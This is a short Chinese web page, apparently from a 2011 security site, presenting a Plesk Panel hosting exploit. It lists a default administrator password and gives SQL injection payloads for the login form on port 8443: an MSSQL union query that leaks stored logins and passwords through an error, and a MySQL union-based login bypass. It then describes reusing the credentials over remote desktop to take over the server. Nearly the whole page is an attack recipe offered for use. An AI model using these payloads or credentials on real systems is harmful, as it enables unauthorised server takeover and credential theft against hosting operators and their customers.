Plesk Panel 虚拟主机 0day 漏洞利用- Exp
时间：2011-05-10 来源：黑白前线
1、在 http://xxxxxx.com:8880 这里，默认的管理员账户密码是 admin，密码：stepu。
2、在 https://xxxxx.com:8443
Mssql 版本
账号： ' union select top 1 login+char(124)+passwd from admin_aliases--
报错，爆出账号密码。
登陆后 server-->remote desktop 账号密码一样，拿到服务器权限。
Mysql 版本：
'union select '-1 union select 1,1,1#'# 密码填：1
标签分类：
相关阅读 更多 +
